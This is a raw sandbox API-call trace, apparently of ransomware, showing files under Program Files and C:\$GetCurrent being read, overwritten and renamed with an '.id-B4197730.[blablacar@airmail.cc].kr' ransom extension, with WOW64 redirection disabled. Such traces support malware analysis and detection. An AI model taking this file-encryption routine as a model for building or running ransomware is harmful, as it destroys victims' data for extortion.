lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0107.440] lstrlenW (lpString=".ppt") returned 4 [0107.440] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.440] lstrlenW (lpString=".zip") returned 4 [0107.440] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.441] lstrlenW (lpString=".rar") returned 4 [0107.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.441] lstrlenW (lpString=".bz2") returned 4 [0107.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.441] lstrlenW (lpString=".7z") returned 3 [0107.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.441] lstrlenW (lpString=".dbf") returned 4 [0107.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.441] lstrlenW (lpString=".1cd") returned 4 [0107.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.441] lstrlenW (lpString=".jpg") returned 4 [0107.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.441] lstrlenW (lpString=".doc") returned 4 [0107.441] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0107.441] lstrlenW (lpString=".docx") returned 5 [0107.441] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0107.441] lstrlenW (lpString=".pdf") returned 4 [0107.441] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0107.441] lstrlenW (lpString=".xls") returned 4 [0107.442] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0107.442] lstrlenW (lpString=".xlsx") returned 5 [0107.442] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0107.442] lstrlenW (lpString=".ppt") returned 4 [0107.442] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0107.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.442] lstrlenW (lpString=".zip") returned 4 [0107.442] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0107.442] lstrlenW (lpString=".rar") returned 4 [0107.442] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0107.442] lstrlenW (lpString=".bz2") returned 4 [0107.442] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0107.442] lstrlenW (lpString=".7z") returned 3 [0107.442] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0107.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.442] lstrlenW (lpString=".dbf") returned 4 [0107.442] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0107.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.442] lstrlenW (lpString=".1cd") returned 4 [0107.442] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0107.442] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0107.442] lstrlenW (lpString=".jpg") returned 4 [0107.442] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0107.443] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0107.443] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0107.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.443] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=1761448) returned 1 [0107.443] CloseHandle (hObject=0x38c) returned 1 [0107.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0107.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0107.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0107.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0107.444] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc64 | out: lpNewFilePointer=0x0) returned 1 [0107.445] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.445] ReadFile (in: hFile=0x38c, lpBuffer=0x4013058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4013058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.451] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.451] ReadFile (in: hFile=0x38c, lpBuffer=0x4053058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4053058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.455] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3a5fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.455] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0107.455] ReadFile (in: hFile=0x38c, lpBuffer=0x4093058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4093058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0107.821] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.821] WriteFile (in: hFile=0x38c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x3a5fca8, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0107.853] SetEndOfFile (hFile=0x38c) returned 1 [0108.707] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x430beb8 [0108.714] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0108.714] WriteFile (in: hFile=0x38c, lpBuffer=0x430beb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x430beb8*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0108.716] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0108.716] WriteFile (in: hFile=0x38c, lpBuffer=0x430beb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x430beb8*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0108.719] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0108.719] WriteFile (in: hFile=0x38c, lpBuffer=0x430beb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x430beb8*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0108.722] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0108.722] CloseHandle (hObject=0x38c) returned 1 [0109.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0109.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.254] lstrlenW (lpString=".doc") returned 4 [0109.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.254] lstrlenW (lpString=".docx") returned 5 [0109.254] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0109.254] lstrlenW (lpString=".pdf") returned 4 [0109.254] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.254] lstrlenW (lpString=".xls") returned 4 [0109.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.254] lstrlenW (lpString=".xlsx") returned 5 [0109.254] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0109.254] lstrlenW (lpString=".ppt") returned 4 [0109.254] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.254] lstrlenW (lpString=".zip") returned 4 [0109.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.254] lstrlenW (lpString=".rar") returned 4 [0109.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.254] lstrlenW (lpString=".bz2") returned 4 [0109.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.254] lstrlenW (lpString=".7z") returned 3 [0109.254] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.254] lstrlenW (lpString=".dbf") returned 4 [0109.254] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.254] lstrlenW (lpString=".1cd") returned 4 [0109.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.255] lstrlenW (lpString=".jpg") returned 4 [0109.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.255] lstrlenW (lpString=".doc") returned 4 [0109.255] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString=".docx") returned 5 [0109.255] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0109.255] lstrlenW (lpString=".pdf") returned 4 [0109.255] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString=".xls") returned 4 [0109.255] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString=".xlsx") returned 5 [0109.255] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0109.255] lstrlenW (lpString=".ppt") returned 4 [0109.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.255] lstrlenW (lpString=".zip") returned 4 [0109.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString=".rar") returned 4 [0109.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.255] lstrlenW (lpString=".bz2") returned 4 [0109.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.256] lstrlenW (lpString=".7z") returned 3 [0109.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.256] lstrlenW (lpString=".dbf") returned 4 [0109.256] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.256] lstrlenW (lpString=".1cd") returned 4 [0109.256] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0109.256] lstrlenW (lpString=".jpg") returned 4 [0109.256] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.256] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0109.256] lstrlenW (lpString="C2R64.dll") returned 9 [0109.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.257] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=1208928) returned 1 [0109.257] CloseHandle (hObject=0x374) returned 1 [0109.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0109.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0109.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.258] lstrlenW (lpString=".doc") returned 4 [0109.258] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.258] lstrlenW (lpString=".docx") returned 5 [0109.258] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0109.258] lstrlenW (lpString=".pdf") returned 4 [0109.258] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.258] lstrlenW (lpString=".xls") returned 4 [0109.258] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.258] lstrlenW (lpString=".xlsx") returned 5 [0109.258] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0109.258] lstrlenW (lpString=".ppt") returned 4 [0109.258] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.258] lstrlenW (lpString=".zip") returned 4 [0109.258] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.258] lstrlenW (lpString=".rar") returned 4 [0109.258] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.258] lstrlenW (lpString=".bz2") returned 4 [0109.258] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.258] lstrlenW (lpString=".7z") returned 3 [0109.258] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.258] lstrlenW (lpString=".dbf") returned 4 [0109.258] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.258] lstrlenW (lpString=".1cd") returned 4 [0109.259] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.259] lstrlenW (lpString=".jpg") returned 4 [0109.259] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.259] lstrlenW (lpString=".doc") returned 4 [0109.259] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString=".docx") returned 5 [0109.259] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0109.259] lstrlenW (lpString=".pdf") returned 4 [0109.259] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString=".xls") returned 4 [0109.259] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString=".xlsx") returned 5 [0109.259] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0109.259] lstrlenW (lpString=".ppt") returned 4 [0109.259] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.259] lstrlenW (lpString=".zip") returned 4 [0109.259] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString=".rar") returned 4 [0109.259] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0109.259] lstrlenW (lpString=".bz2") returned 4 [0109.259] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0109.259] lstrlenW (lpString=".7z") returned 3 [0109.259] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0109.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.260] lstrlenW (lpString=".dbf") returned 4 [0109.260] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0109.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.260] lstrlenW (lpString=".1cd") returned 4 [0109.260] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0109.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67 [0109.260] lstrlenW (lpString=".jpg") returned 4 [0109.260] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0109.260] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0109.260] lstrlenW (lpString="C2RUI.en-us.dll") returned 15 [0109.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.261] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=902328) returned 1 [0109.261] CloseHandle (hObject=0x374) returned 1 [0109.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0109.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0109.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0109.261] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.261] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0109.262] GetLastError () returned 0x0 [0109.262] ReadFile (hFile=0x374, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0) Thread: id = 18 os_tid = 0xd40 [0079.615] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x36600a8 [0079.615] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x36700b0 [0079.616] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc470 [0079.616] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de418 [0079.616] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc578 [0079.616] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x4121020 [0079.618] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc488 [0079.618] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc488, Size=0x20) returned 0x47f190 [0079.618] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc488 [0079.618] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc488, Size=0x20) returned 0x47f078 [0079.619] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0079.619] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0079.619] Wow64DisableWow64FsRedirection (in: OldValue=0x3b9ff50 | out: OldValue=0x3b9ff50*=0x0) returned 1 [0079.619] lstrlenW (lpString="kernel32.dll") returned 12 [0079.619] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f190 | out: hHeap=0x440000) returned 1 [0079.619] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0079.619] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0079.619] Sleep (dwMilliseconds=0x64) [0081.419] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0081.419] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18 [0081.419] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.505] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x3b9ff14 | out: lpFileSize=0x3b9ff14*=144072) returned 1 [0081.505] CloseHandle (hObject=0x2f4) returned 1 [0081.506] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20 [0081.506] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.506] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.506] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.506] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.506] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0081.507] GetLastError () returned 0x0 [0081.507] ReadFile (in: hFile=0x2f4, lpBuffer=0x4121020, nNumberOfBytesToRead=0xffff0, 